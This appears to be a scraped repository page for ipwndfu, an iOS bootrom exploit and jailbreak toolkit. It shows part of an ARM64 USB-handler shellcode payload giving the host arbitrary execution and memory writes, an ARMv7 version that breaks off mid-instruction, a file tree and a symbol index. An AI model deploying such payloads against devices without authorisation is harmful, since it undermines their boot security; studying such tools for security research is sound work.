  LDR  X7, [X20, #0x40]                        ; X7 = LOAD_ADDRESS[9]      /* arg8 */
  LDR  X8, [X20, #0x8]
  BLR  X8                                      ; X0 = LOAD_ADDRESS[1](X0, X1, X2, X3, X4, X5, X6, X7)

  LDR  X8, =DONE_MAGIC
  STP  X8, X0, [X20]                           ; LOAD_ADDRESS[0,1] = DONE_MAGIC, X0
  B    request_done

not_exec:
  LDR  X1, =MEMC_MAGIC
  CMP  X0, X1
  BNE  not_memc

  STR  XZR, [X20]

  LDP  X0, X1, [X20, #0x10]
  LDR  X2, [X20, #0x20]
  BL   memcpy

  LDR  X8, =DONE_MAGIC
  STR  X8, [X20]
  B    request_done

not_memc:
  LDR  X1, =MEMS_MAGIC
  CMP  X0, X1
  BNE  request_done

  STR  XZR, [X20]
  
  LDP  X0, X1, [X20, #0x10]
  LDR  X2, [X20, #0x20]
  BL   memset

  LDR  X8, =DONE_MAGIC
  STR  X8, [X20]
  B    request_done

request_done:
  MOV  W0, #0x80
  MOV  X1, X20
  LDRH W2, [X19,#6]
  MOV  X3, #0
  LDR  X4, =USB_CORE_DO_IO
  BLR  X4

  MOV  W0, #0
  LDP  X20, X19, [SP],#0x10
  LDP  X29, X30, [SP],#0x10
  RET

memset:
  MOV  X3, #0x101010101010101
  AND  X1, X1, #0xFF
  MUL  X1, X1, X3
  MOV  X3, X0

memset_8:
  CMP  X2, #8
  B.CC memset_4

  STR  X1, [X0]
  ADD  X0, X0, #8
  SUB  X2, X2, #8
  B    memset_8

memset_4:
  CMP  X2, #4
  B.CC memset_2

  STR  W1, [X0]
  ADD  X0, X0, #4
  SUB  X2, X2, #4

memset_2:
  CMP  X2, #2
  B.CC memset_1

  STR  W1, [X0]
  ADD  X0, X0, #2
  SUB  X2, X2, #2

memset_1:
  CBZ  X2, memset_done

  STR  W1, [X0]
  ADD  X0, X0, #1
  SUB  X2, X2, #1

memset_done:
  MOV  X0, X3
  RET 

memcpy:
  MOV  X4, X0

memcpy_8:
  CMP  X2, #8
  B.CC memcpy_4

  LDR  X3, [X1]
  STR  X3, [X0]
  ADD  X0, X0, #8
  ADD  X1, X1, #8
  SUB  X2, X2, #8
  B    memcpy_8

memcpy_4:
  CMP  X2, #4
  B.CC memcpy_2

  LDR  W3, [X1]
  STR  W3, [X0]
  ADD  X0, X0, #4
  ADD  X1, X1, #4
  SUB  X2, X2, #4

memcpy_2:
  CMP  X2, #2
  B.CC memcpy_1
  
  LDRH W3, [X1]
  STRH W3, [X0]
  ADD  X0, X0, #2
  ADD  X1, X1, #2
  SUB  X2, X2, #2

memcpy_1:
  CBZ  X2, memcpy_done

  LDRB W3, [X1]
  STRB W3, [X0]
  ADD  X0, X0, #1
  ADD  X1, X1, #1
  SUB  X2, X2, #1

memcpy_done:
  MOV  X0, X4
  RET


================================================
FILE: src/usb_0xA1_2_armv7.S
================================================
.text

.pool
.set USB_CORE_DO_IO, 0xBAD00006
.set LOAD_ADDRESS,   0xBAD00001
.set EXEC_MAGIC,     0xBAD00002
.set MEMC_MAGIC,     0xBAD00004
.set MEMS_MAGIC,     0xBAD00005
.set DONE_MAGIC,     0xBAD00003

.code 16
.global _main
_main:
jump_back:
  BKPT #1
  BKPT #1
  BKPT #1
  BKPT #1

  LDRH R2, [R0]
  MOVW 
Download .txt
gitextract_jeow6lyw/

├── .gitignore
├── JAILBREAK-GUIDE.md
├── LICENSE
├── Makefile
├── README.md
├── SHAtter.py
├── aes-keys/
│   └── S5L8920-firmware
├── alloc8.py
├── checkm8.py
├── device_platform.py
├── dfu.py
├── dfuexec.py
├── ibootpatcher
├── image3.py
├── image3_24Kpwn.py
├── ipwndfu
├── ipwnrecovery
├── libusbfinder/
│   └── __init__.py
├── limera1n.py
├── nor-backups/
│   └── README
├── nor.py
├── recovery.py
├── rmsigchks.py
├── rmsigchks_t8015.py
├── src/
│   ├── 24Kpwn-shellcode.S
│   ├── SHAtter-shellcode.S
│   ├── alloc8-shellcode.S
│   ├── checkm8_arm64.S
│   ├── checkm8_armv7.S
│   ├── ibss-flash-nor-shellcode.S
│   ├── limera1n-shellcode.S
│   ├── steaks4uce-shellcode.S
│   ├── t8010_t8011_disable_wxn_arm64.S
│   ├── usb_0xA1_2_arm64.S
│   └── usb_0xA1_2_armv7.S
├── steaks4uce.py
├── usb/
│   ├── ACKNOWLEDGEMENTS
│   ├── LICENSE
│   ├── README.rst
│   ├── __init__.py
│   ├── _debug.py
│   ├── _interop.py
│   ├── _lookup.py
│   ├── _objfinalizer.py
│   ├── backend/
│   │   ├── __init__.py
│   │   ├── libusb0.py
│   │   ├── libusb1.py
│   │   └── openusb.py
│   ├── control.py
│   ├── core.py
│   ├── legacy.py
│   ├── libloader.py
│   └── util.py
├── usbexec.py
└── utilities.py
Download .txt
SYMBOL INDEX (468 symbols across 30 files)

FILE: SHAtter.py
  function generate_payload (line 6) | def generate_payload():
  function exploit (line 16) | def exploit():

FILE: alloc8.py
  function empty_img3 (line 59) | def empty_img3(size):
  function exploit (line 63) | def exploit(nor, version):
  function remove_exploit (line 110) | def remove_exploit(nor):

FILE: checkm8.py
  function libusb1_create_ctrl_transfer (line 10) | def libusb1_create_ctrl_transfer(device, request, timeout):
  function libusb1_async_ctrl_transfer (line 27) | def libusb1_async_ctrl_transfer(device, bmRequestType, bRequest, wValue,...
  function libusb1_no_error_ctrl_transfer (line 47) | def libusb1_no_error_ctrl_transfer(device, bmRequestType, bRequest, wVal...
  function usb_rop_callbacks (line 53) | def usb_rop_callbacks(address, func_gadget, callbacks):
  function asm_arm64_branch (line 74) | def asm_arm64_branch(src, dest):
  function asm_arm64_x7_trampoline (line 83) | def asm_arm64_x7_trampoline(dest):
  function asm_thumb_trampoline (line 88) | def asm_thumb_trampoline(src, dest):
  function prepare_shellcode (line 95) | def prepare_shellcode(name, constants=[]):
  function stall (line 118) | def stall(device):   libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304,...
  function leak (line 119) | def leak(device):    libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x3...
  function no_leak (line 120) | def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x3...
  function usb_req_stall (line 122) | def usb_req_stall(device):   libusb1_no_error_ctrl_transfer(device,  0x2...
  function usb_req_leak (line 123) | def usb_req_leak(device):    libusb1_no_error_ctrl_transfer(device, 0x80...
  function usb_req_no_leak (line 124) | def usb_req_no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80...
  class DeviceConfig (line 126) | class DeviceConfig:
    method __init__ (line 127) | def __init__(self, version, cpid, large_leak, overwrite, overwrite_off...
  function payload (line 142) | def payload(cpid):
  function all_exploit_configs (line 429) | def all_exploit_configs():
  function exploit_config (line 462) | def exploit_config(serial_number):
  function exploit (line 474) | def exploit():

FILE: device_platform.py
  class DevicePlatform (line 1) | class DevicePlatform:
    method __init__ (line 2) | def __init__(self, cpid, cprv, scep, arch, srtg, rom_base, rom_size, r...
    method name (line 48) | def name(self):

FILE: dfu.py
  function acquire_device (line 8) | def acquire_device(timeout=5.0, match=None, fatal=True):
  function release_device (line 26) | def release_device(device):
  function reset_counters (line 30) | def reset_counters(device):
  function usb_reset (line 34) | def usb_reset(device):
  function send_data (line 43) | def send_data(device, data):
  function get_data (line 51) | def get_data(device, amount):
  function request_image_validation (line 62) | def request_image_validation(device):

FILE: dfuexec.py
  class PwnedDeviceConfig (line 12) | class PwnedDeviceConfig:
    method __init__ (line 13) | def __init__(self, version, cpid, aes_crypto_cmd, memmove, get_block_d...
  class PwnedDFUDevice (line 98) | class PwnedDFUDevice():
    method __init__ (line 99) | def __init__(self):
    method ecid_string (line 121) | def ecid_string(self):
    method execute (line 129) | def execute(self, cmd, receiveLength):
    method securerom_dump (line 152) | def securerom_dump(self):
    method aes (line 159) | def aes(self, data, action, key):
    method aes_hex (line 168) | def aes_hex(self, hexdata, action, key):
    method read_memory (line 175) | def read_memory(self, address, length):
    method write_memory (line 179) | def write_memory(self, address, data):
    method nor_dump (line 183) | def nor_dump(self, saveBackup):
    method boot_ibss (line 213) | def boot_ibss(self):
    method flash_nor (line 269) | def flash_nor(self, nor):
    method decrypt_keybag (line 290) | def decrypt_keybag(self, keybag):

FILE: image3.py
  class Image3 (line 4) | class Image3:
    method __init__ (line 5) | def __init__(self, data):
    method createImage3FromTags (line 17) | def createImage3FromTags(type, tags):
    method getTags (line 36) | def getTags(self, magic):
    method getKeybag (line 43) | def getKeybag(self):
    method getPayload (line 51) | def getPayload(self):
    method getDecryptedPayload (line 56) | def getDecryptedPayload(self):
    method shrink24KpwnCertificate (line 62) | def shrink24KpwnCertificate(self):
    method newImage3 (line 72) | def newImage3(self, decrypted=True):

FILE: image3_24Kpwn.py
  function exploit (line 6) | def exploit(img3, securerom):
  function remove_exploit (line 30) | def remove_exploit(img3):

FILE: libusbfinder/__init__.py
  class VersionConfig (line 3) | class VersionConfig:
    method __init__ (line 4) | def __init__(self, version, bottle, bottle_sha256, dylib_patches, dyli...
  function apply_patches (line 61) | def apply_patches(binary, patches):
  function libusb1_path_internal (line 66) | def libusb1_path_internal():
  function libusb1_path (line 112) | def libusb1_path():

FILE: limera1n.py
  class DeviceConfig (line 111) | class DeviceConfig:
    method __init__ (line 112) | def __init__(self, version, cpid, exploit_lr, max_size, constants):
  function create_control_transfer (line 126) | def create_control_transfer(device, request, timeout):
  function limera1n_libusb1_async_ctrl_transfer (line 143) | def limera1n_libusb1_async_ctrl_transfer(device, bmRequestType, bRequest...
  function generate_payload (line 158) | def generate_payload(constants, exploit_lr):
  function exploit (line 173) | def exploit():

FILE: nor.py
  class NorData (line 5) | class NorData():
    method __init__ (line 6) | def __init__(self, dump):
    method dump (line 32) | def dump(self):

FILE: recovery.py
  function acquire_device (line 8) | def acquire_device(timeout=10):
  function release_device (line 22) | def release_device(device):
  function send_command (line 26) | def send_command(device, command):
  function send_data (line 30) | def send_data(device, data):

FILE: rmsigchks.py
  class DeviceConfig (line 12) | class DeviceConfig:
    method __init__ (line 13) | def __init__(self, version, cpid, patches):
  function all_exploit_configs (line 18) | def all_exploit_configs():
  function exploit_config (line 47) | def exploit_config(serial_number):
  function main (line 60) | def main():

FILE: rmsigchks_t8015.py
  function makePTE_Page_16K (line 25) | def makePTE_Page_16K(addr):
  function makePTE_Table_16K (line 34) | def makePTE_Table_16K(addr):
  function main (line 41) | def main():

FILE: steaks4uce.py
  class DeviceConfig (line 65) | class DeviceConfig:
    method __init__ (line 66) | def __init__(self, version, constants):
  function generate_shellcode (line 99) | def generate_shellcode(constants):
  function exploit (line 112) | def exploit():

FILE: usb/__init__.py
  function _setup_log (line 54) | def _setup_log():

FILE: usb/_debug.py
  function enable_tracing (line 38) | def enable_tracing(enable):
  function _trace_function_call (line 42) | def _trace_function_call(logger, fname, *args, **named_args):
  function methodtrace (line 51) | def methodtrace(logger):
  function functiontrace (line 66) | def functiontrace(logger):

FILE: usb/_interop.py
  function _next (line 64) | def _next(iter):
  function _update_wrapper (line 75) | def _update_wrapper(wrapper, wrapped):
  function as_array (line 84) | def as_array(data=None):

FILE: usb/_objfinalizer.py
  class _AutoFinalizedObjectBase (line 36) | class _AutoFinalizedObjectBase(object):
    method _finalize_object (line 42) | def _finalize_object(self):
    method __new__ (line 51) | def __new__(cls, *args, **kwargs):
    method _do_finalize_object (line 64) | def _do_finalize_object(self):
    method finalize (line 73) | def finalize(self):
    method __del__ (line 83) | def __del__(self):
  function _do_finalize_object_ref (line 91) | def _do_finalize_object_ref(obj_ref):
  class AutoFinalizedObject (line 107) | class AutoFinalizedObject(_AutoFinalizedObjectBase):
    method __new__ (line 109) | def __new__(cls, *args, **kwargs):
    method finalize (line 142) | def finalize(self):
    method finalize (line 153) | def finalize(self):
  class AutoFinalizedObject (line 151) | class AutoFinalizedObject(_AutoFinalizedObjectBase):
    method __new__ (line 109) | def __new__(cls, *args, **kwargs):
    method finalize (line 142) | def finalize(self):
    method finalize (line 153) | def finalize(self):

FILE: usb/backend/__init__.py
  function _not_implemented (line 80) | def _not_implemented(func):
  class IBackend (line 83) | class IBackend(_objfinalizer.AutoFinalizedObject):
    method enumerate_devices (line 97) | def enumerate_devices(self):
    method get_device_descriptor (line 107) | def get_device_descriptor(self, dev):
    method get_configuration_descriptor (line 119) | def get_configuration_descriptor(self, dev, config):
    method get_interface_descriptor (line 133) | def get_interface_descriptor(self, dev, intf, alt, config):
    method get_endpoint_descriptor (line 149) | def get_endpoint_descriptor(self, dev, ep, intf, alt, config):
    method open_device (line 162) | def open_device(self, dev):
    method close_device (line 174) | def close_device(self, dev_handle):
    method set_configuration (line 182) | def set_configuration(self, dev_handle, config_value):
    method get_configuration (line 192) | def get_configuration(self, dev_handle):
    method set_interface_altsetting (line 203) | def set_interface_altsetting(self, dev_handle, intf, altsetting):
    method claim_interface (line 213) | def claim_interface(self, dev_handle, intf):
    method release_interface (line 226) | def release_interface(self, dev_handle, intf):
    method bulk_write (line 234) | def bulk_write(self, dev_handle, ep, intf, data, timeout):
    method bulk_read (line 249) | def bulk_read(self, dev_handle, ep, intf, buff, timeout):
    method intr_write (line 264) | def intr_write(self, dev_handle, ep, intf, data, timeout):
    method intr_read (line 279) | def intr_read(self, dev_handle, ep, intf, size, timeout):
    method iso_write (line 294) | def iso_write(self, dev_handle, ep, intf, data, timeout):
    method iso_read (line 309) | def iso_read(self, dev_handle, ep, intf, size, timeout):
    method ctrl_transfer (line 324) | def ctrl_transfer(self,
    method clear_halt (line 351) | def clear_halt(self, dev_handle, ep):
    method reset_device (line 355) | def reset_device(self, dev_handle):
    method is_kernel_driver_active (line 359) | def is_kernel_driver_active(self, dev_handle, intf):
    method detach_kernel_driver (line 367) | def detach_kernel_driver(self, dev_handle, intf):
    method attach_kernel_driver (line 375) | def attach_kernel_driver(self, dev_handle, intf):

FILE: usb/backend/libusb0.py
  class _PackPolicy (line 60) | class _PackPolicy(object):
  class _usb_descriptor_header (line 68) | class _usb_descriptor_header(Structure):
  class _usb_string_descriptor (line 73) | class _usb_string_descriptor(Structure):
  class _usb_endpoint_descriptor (line 79) | class _usb_endpoint_descriptor(Structure, _PackPolicy):
  class _usb_interface_descriptor (line 91) | class _usb_interface_descriptor(Structure, _PackPolicy):
  class _usb_interface (line 105) | class _usb_interface(Structure, _PackPolicy):
  class _usb_config_descriptor (line 109) | class _usb_config_descriptor(Structure, _PackPolicy):
  class _usb_device_descriptor (line 122) | class _usb_device_descriptor(Structure, _PackPolicy):
  class _usb_device (line 139) | class _usb_device(Structure, _PackPolicy):
  class _usb_bus (line 142) | class _usb_bus(Structure, _PackPolicy):
  class _DeviceDescriptor (line 165) | class _DeviceDescriptor:
    method __init__ (line 166) | def __init__(self, dev):
  function _load_library (line 191) | def _load_library(find_library=None):
  function _setup_prototypes (line 198) | def _setup_prototypes(lib):
  function _check (line 414) | def _check(ret):
  function _has_iso_transfer (line 433) | def _has_iso_transfer():
  class _LibUSB (line 437) | class _LibUSB(usb.backend.IBackend):
    method enumerate_devices (line 439) | def enumerate_devices(self):
    method get_device_descriptor (line 451) | def get_device_descriptor(self, dev):
    method get_configuration_descriptor (line 455) | def get_configuration_descriptor(self, dev, config):
    method get_interface_descriptor (line 463) | def get_interface_descriptor(self, dev, intf, alt, config):
    method get_endpoint_descriptor (line 475) | def get_endpoint_descriptor(self, dev, ep, intf, alt, config):
    method open_device (line 484) | def open_device(self, dev):
    method close_device (line 488) | def close_device(self, dev_handle):
    method set_configuration (line 492) | def set_configuration(self, dev_handle, config_value):
    method get_configuration (line 496) | def get_configuration(self, dev_handle):
    method set_interface_altsetting (line 516) | def set_interface_altsetting(self, dev_handle, intf, altsetting):
    method claim_interface (line 520) | def claim_interface(self, dev_handle, intf):
    method release_interface (line 524) | def release_interface(self, dev_handle, intf):
    method bulk_write (line 528) | def bulk_write(self, dev_handle, ep, intf, data, timeout):
    method bulk_read (line 536) | def bulk_read(self, dev_handle, ep, intf, buff, timeout):
    method intr_write (line 545) | def intr_write(self, dev_handle, ep, intf, data, timeout):
    method intr_read (line 554) | def intr_read(self, dev_handle, ep, intf, buff, timeout):
    method iso_write (line 563) | def iso_write(self, dev_handle, ep, intf, data, timeout):
    method iso_read (line 569) | def iso_read(self, dev_handle, ep, intf, buff, timeout):
    method ctrl_transfer (line 575) | def ctrl_transfer(self,
    method clear_halt (line 597) | def clear_halt(self, dev_handle, ep):
    method reset_device (line 601) | def reset_device(self, dev_handle):
    method detach_kernel_driver (line 605) | def detach_kernel_driver(self, dev_handle, intf):
    method __write (line 608) | def __write(self, fn, dev_handle, ep, intf, data, timeout):
    method __read (line 619) | def __read(self, fn, dev_handle, ep, intf, buff, timeout):
    method __iso_transfer (line 631) | def __iso_transfer(self, dev_handle, ep, intf, data, timeout):
  function get_backend (line 664) | def get_backend(find_library=None):

FILE: usb/backend/libusb1.py
  function _strerror (line 170) | def _strerror(errcode):
  class _libusb_endpoint_descriptor (line 178) | class _libusb_endpoint_descriptor(Structure):
  class _libusb_interface_descriptor (line 190) | class _libusb_interface_descriptor(Structure):
  class _libusb_interface (line 204) | class _libusb_interface(Structure):
  class _libusb_config_descriptor (line 208) | class _libusb_config_descriptor(Structure):
  class _libusb_device_descriptor (line 221) | class _libusb_device_descriptor(Structure):
  class _libusb_iso_packet_descriptor (line 239) | class _libusb_iso_packet_descriptor(Structure):
  class _libusb_transfer (line 246) | class _libusb_transfer(Structure):
  function _get_iso_packet_list (line 267) | def _get_iso_packet_list(transfer):
  function _load_library (line 273) | def _load_library(find_library=None):
  function _setup_prototypes (line 290) | def _setup_prototypes(lib):
  function _check (line 587) | def _check(ret):
  class _Device (line 600) | class _Device(_objfinalizer.AutoFinalizedObject):
    method __init__ (line 601) | def __init__(self, devid):
    method _finalize_object (line 603) | def _finalize_object(self):
  class _WrapDescriptor (line 608) | class _WrapDescriptor(object):
    method __init__ (line 609) | def __init__(self, desc, obj = None):
    method __getattr__ (line 612) | def __getattr__(self, name):
  class _ConfigDescriptor (line 616) | class _ConfigDescriptor(_objfinalizer.AutoFinalizedObject):
    method __init__ (line 617) | def __init__(self, desc):
    method _finalize_object (line 619) | def _finalize_object(self):
    method __getattr__ (line 621) | def __getattr__(self, name):
  class _DevIterator (line 626) | class _DevIterator(_objfinalizer.AutoFinalizedObject):
    method __init__ (line 627) | def __init__(self, ctx):
    method __iter__ (line 633) | def __iter__(self):
    method _finalize_object (line 636) | def _finalize_object(self):
  class _DeviceHandle (line 639) | class _DeviceHandle(object):
    method __init__ (line 640) | def __init__(self, dev):
  class _IsoTransferHandler (line 645) | class _IsoTransferHandler(_objfinalizer.AutoFinalizedObject):
    method __init__ (line 646) | def __init__(self, dev_handle, ep, buff, timeout):
    method _finalize_object (line 666) | def _finalize_object(self):
    method submit (line 669) | def submit(self, ctx = None):
    method __compute_size_transf_data (line 684) | def __compute_size_transf_data(self):
    method __set_packets_length (line 688) | def __set_packets_length(self, n, packet_length):
    method __callback (line 698) | def __callback(self, transfer):
  class _LibUSB (line 702) | class _LibUSB(usb.backend.IBackend):
    method __init__ (line 704) | def __init__(self, lib):
    method _finalize_object (line 711) | def _finalize_object(self):
    method enumerate_devices (line 716) | def enumerate_devices(self):
    method get_device_descriptor (line 720) | def get_device_descriptor(self, dev):
    method get_configuration_descriptor (line 753) | def get_configuration_descriptor(self, dev, config):
    method get_interface_descriptor (line 764) | def get_interface_descriptor(self, dev, intf, alt, config):
    method get_endpoint_descriptor (line 776) | def get_endpoint_descriptor(self, dev, ep, intf, alt, config):
    method open_device (line 785) | def open_device(self, dev):
    method close_device (line 789) | def close_device(self, dev_handle):
    method set_configuration (line 793) | def set_configuration(self, dev_handle, config_value):
    method get_configuration (line 797) | def get_configuration(self, dev_handle):
    method set_interface_altsetting (line 803) | def set_interface_altsetting(self, dev_handle, intf, altsetting):
    method claim_interface (line 810) | def claim_interface(self, dev_handle, intf):
    method release_interface (line 814) | def release_interface(self, dev_handle, intf):
    method bulk_write (line 818) | def bulk_write(self, dev_handle, ep, intf, data, timeout):
    method bulk_read (line 827) | def bulk_read(self, dev_handle, ep, intf, buff, timeout):
    method intr_write (line 836) | def intr_write(self, dev_handle, ep, intf, data, timeout):
    method intr_read (line 845) | def intr_read(self, dev_handle, ep, intf, buff, timeout):
    method iso_write (line 854) | def iso_write(self, dev_handle, ep, intf, data, timeout):
    method iso_read (line 859) | def iso_read(self, dev_handle, ep, intf, buff, timeout):
    method ctrl_transfer (line 864) | def ctrl_transfer(self,
    method clear_halt (line 888) | def clear_halt(self, dev_handle, ep):
    method reset_device (line 892) | def reset_device(self, dev_handle):
    method is_kernel_driver_active (line 896) | def is_kernel_driver_active(self, dev_handle, intf):
    method detach_kernel_driver (line 901) | def detach_kernel_driver(self, dev_handle, intf):
    method attach_kernel_driver (line 905) | def attach_kernel_driver(self, dev_handle, intf):
    method __write (line 908) | def __write(self, fn, dev_handle, ep, intf, data, timeout):
    method __read (line 924) | def __read(self, fn, dev_handle, ep, intf, buff, timeout):
  function get_backend (line 939) | def get_backend(find_library=None):

FILE: usb/backend/openusb.py
  class _usb_endpoint_desc (line 147) | class _usb_endpoint_desc(Structure):
  class _usb_interface_desc (line 157) | class _usb_interface_desc(Structure):
  class _usb_config_desc (line 168) | class _usb_config_desc(Structure):
  class _usb_device_desc (line 178) | class _usb_device_desc(Structure):
  class _openusb_request_result (line 194) | class _openusb_request_result(Structure):
  class _openusb_ctrl_request (line 198) | class _openusb_ctrl_request(Structure):
    method __init__ (line 199) | def __init__(self):
    class _openusb_ctrl_setup (line 213) | class _openusb_ctrl_setup(Structure):
  class _openusb_intr_request (line 226) | class _openusb_intr_request(Structure):
  class _openusb_bulk_request (line 235) | class _openusb_bulk_request(Structure):
  class _openusb_isoc_pkts (line 243) | class _openusb_isoc_pkts(Structure):
    class _openusb_isoc_packet (line 244) | class _openusb_isoc_packet(Structure):
  class _openusb_isoc_request (line 250) | class _openusb_isoc_request(Structure):
  function _load_library (line 266) | def _load_library(find_library=None):
  function _setup_prototypes (line 274) | def _setup_prototypes(lib):
  function _check (line 502) | def _check(ret):
  class _Context (line 510) | class _Context(_objfinalizer.AutoFinalizedObject):
    method __init__ (line 511) | def __init__(self):
    method _finalize_object (line 514) | def _finalize_object(self):
  class _BusIterator (line 517) | class _BusIterator(_objfinalizer.AutoFinalizedObject):
    method __init__ (line 518) | def __init__(self):
    method __iter__ (line 525) | def __iter__(self):
    method _finalize_object (line 528) | def _finalize_object(self):
  class _DevIterator (line 531) | class _DevIterator(_objfinalizer.AutoFinalizedObject):
    method __init__ (line 532) | def __init__(self, busid):
    method __iter__ (line 540) | def __iter__(self):
    method _finalize_object (line 543) | def _finalize_object(self):
  class _OpenUSB (line 546) | class _OpenUSB(usb.backend.IBackend):
    method enumerate_devices (line 548) | def enumerate_devices(self):
    method get_device_descriptor (line 554) | def get_device_descriptor(self, dev):
    method get_configuration_descriptor (line 569) | def get_configuration_descriptor(self, dev, config):
    method get_interface_descriptor (line 581) | def get_interface_descriptor(self, dev, intf, alt, config):
    method get_endpoint_descriptor (line 595) | def get_endpoint_descriptor(self, dev, ep, intf, alt, config):
    method open_device (line 610) | def open_device(self, dev):
    method close_device (line 616) | def close_device(self, dev_handle):
    method set_configuration (line 620) | def set_configuration(self, dev_handle, config_value):
    method get_configuration (line 624) | def get_configuration(self, dev_handle):
    method set_interface_altsetting (line 630) | def set_interface_altsetting(self, dev_handle, intf, altsetting):
    method claim_interface (line 634) | def claim_interface(self, dev_handle, intf):
    method release_interface (line 638) | def release_interface(self, dev_handle, intf):
    method bulk_write (line 642) | def bulk_write(self, dev_handle, ep, intf, data, timeout):
    method bulk_read (line 652) | def bulk_read(self, dev_handle, ep, intf, buff, timeout):
    method intr_write (line 662) | def intr_write(self, dev_handle, ep, intf, data, timeout):
    method intr_read (line 672) | def intr_read(self, dev_handle, ep, intf, buff, timeout):
    method ctrl_transfer (line 691) | def ctrl_transfer(self,
    method reset_device (line 717) | def reset_device(self, dev_handle):
    method clear_halt (line 721) | def clear_halt(self, dev_handle, ep):
  function get_backend (line 735) | def get_backend(find_library=None):

FILE: usb/control.py
  function _parse_recipient (line 65) | def _parse_recipient(recipient, direction):
  function get_status (line 92) | def get_status(dev, recipient = None):
  function clear_feature (line 111) | def clear_feature(dev, feature, recipient = None):
  function set_feature (line 131) | def set_feature(dev, feature, recipient = None):
  function get_descriptor (line 148) | def get_descriptor(dev, desc_size, desc_type, desc_index, wIndex = 0):
  function set_descriptor (line 175) | def set_descriptor(dev, desc, desc_type, desc_index, wIndex = None):
  function get_configuration (line 201) | def get_configuration(dev):
  function set_configuration (line 221) | def set_configuration(dev, bConfigurationNumber):
  function get_interface (line 229) | def get_interface(dev, bInterfaceNumber):
  function set_interface (line 246) | def set_interface(dev, bInterfaceNumber, bAlternateSetting):

FILE: usb/core.py
  function _set_attr (line 61) | def _set_attr(input, output, fields):
  function _try_get_string (line 65) | def _try_get_string(dev, index, langid = None, default_str_i0 = "",
  function _try_lookup (line 81) | def _try_lookup(table, value, default = ""):
  class _DescriptorInfo (line 91) | class _DescriptorInfo(str):
    method __repr__ (line 94) | def __repr__(self):
  function synchronized (line 97) | def synchronized(f):
  class _ResourceManager (line 107) | class _ResourceManager(object):
    method __init__ (line 108) | def __init__(self, dev, backend):
    method managed_open (line 118) | def managed_open(self):
    method managed_close (line 124) | def managed_close(self):
    method managed_set_configuration (line 130) | def managed_set_configuration(self, device, config):
    method managed_claim_interface (line 158) | def managed_claim_interface(self, device, intf):
    method managed_release_interface (line 171) | def managed_release_interface(self, device, intf):
    method managed_set_interface (line 187) | def managed_set_interface(self, device, intf, alt):
    method setup_request (line 207) | def setup_request(self, device, endpoint):
    method get_interface_and_endpoint (line 221) | def get_interface_and_endpoint(self, device, endpoint_address):
    method get_active_configuration (line 234) | def get_active_configuration(self, device):
    method release_all_interfaces (line 248) | def release_all_interfaces(self, device):
    method dispose (line 259) | def dispose(self, device, close_handle = True):
  class USBError (line 267) | class USBError(IOError):
    method __init__ (line 275) | def __init__(self, strerror, error_code = None, errno = None):
  class NoBackendError (line 286) | class NoBackendError(ValueError):
  class Endpoint (line 290) | class Endpoint(object):
    method __init__ (line 305) | def __init__(self, device, endpoint, interface = 0,
    method __repr__ (line 350) | def __repr__(self):
    method __str__ (line 353) | def __str__(self):
    method write (line 376) | def write(self, data, timeout = None):
    method read (line 389) | def read(self, size_or_buffer, timeout = None):
    method clear_halt (line 404) | def clear_halt(self):
    method _str (line 408) | def _str(self):
  class Interface (line 419) | class Interface(object):
    method __init__ (line 434) | def __init__(self, device, interface = 0,
    method __repr__ (line 480) | def __repr__(self):
    method __str__ (line 483) | def __str__(self):
    method endpoints (line 491) | def endpoints(self):
    method set_altsetting (line 495) | def set_altsetting(self):
    method __iter__ (line 501) | def __iter__(self):
    method __getitem__ (line 511) | def __getitem__(self, index):
    method _str (line 520) | def _str(self):
    method _get_full_descriptor_str (line 530) | def _get_full_descriptor_str(self):
  class Configuration (line 556) | class Configuration(object):
    method __init__ (line 570) | def __init__(self, device, configuration = 0):
    method __repr__ (line 605) | def __repr__(self):
    method __str__ (line 608) | def __str__(self):
    method interfaces (line 614) | def interfaces(self):
    method set (line 618) | def set(self):
    method __iter__ (line 622) | def __iter__(self):
    method __getitem__ (line 633) | def __getitem__(self, index):
    method _str (line 644) | def _str(self):
    method _get_full_descriptor_str (line 649) | def _get_full_descriptor_str(self):
  class Device (line 685) | class Device(_objfinalizer.AutoFinalizedObject):
    method __repr__ (line 721) | def __repr__(self):
    method __str__ (line 724) | def __str__(self):
    method configurations (line 737) | def configurations(self):
    method __init__ (line 741) | def __init__(self, dev, backend):
    method langids (line 804) | def langids(self):
    method serial_number (line 823) | def serial_number(self):
    method product (line 834) | def product(self):
    method manufacturer (line 845) | def manufacturer(self):
    method backend (line 856) | def backend(self):
    method set_configuration (line 860) | def set_configuration(self, configuration = None):
    method get_active_configuration (line 871) | def get_active_configuration(self):
    method set_interface_altsetting (line 877) | def set_interface_altsetting(self, interface = None, alternate_setting...
    method clear_halt (line 904) | def clear_halt(self, ep):
    method reset (line 911) | def reset(self):
    method write (line 918) | def write(self, endpoint, data, timeout = None):
    method read (line 951) | def read(self, endpoint, size_or_buffer, timeout = None):
    method ctrl_transfer (line 997) | def ctrl_transfer(self, bmRequestType, bRequest, wValue=0, wIndex=0,
    method is_kernel_driver_active (line 1053) | def is_kernel_driver_active(self, interface):
    method detach_kernel_driver (line 1066) | def detach_kernel_driver(self, interface):
    method attach_kernel_driver (line 1079) | def attach_kernel_driver(self, interface):
    method __iter__ (line 1091) | def __iter__(self):
    method __getitem__ (line 1096) | def __getitem__(self, index):
    method _finalize_object (line 1100) | def _finalize_object(self):
    method __get_timeout (line 1103) | def __get_timeout(self, timeout):
    method __set_def_tmo (line 1108) | def __set_def_tmo(self, tmo):
    method __get_def_tmo (line 1113) | def __get_def_tmo(self):
    method _str (line 1116) | def _str(self):
    method _get_full_descriptor_str (line 1120) | def _get_full_descriptor_str(self):
  function find (line 1177) | def find(find_all=False, backend = None, custom_match = None, **args):
  function show_devices (line 1273) | def show_devices(verbose=False, **kwargs):

FILE: usb/legacy.py
  class Endpoint (line 98) | class Endpoint(object):
    method __init__ (line 100) | def __init__(self, ep):
  class Interface (line 106) | class Interface(object):
    method __init__ (line 108) | def __init__(self, intf):
  class Configuration (line 117) | class Configuration(object):
    method __init__ (line 119) | def __init__(self, cfg):
  class DeviceHandle (line 135) | class DeviceHandle(_objfinalizer.AutoFinalizedObject):
    method __init__ (line 136) | def __init__(self, dev):
    method _finalize_object (line 140) | def _finalize_object(self):
    method bulkWrite (line 144) | def bulkWrite(self, endpoint, buffer, timeout = 100):
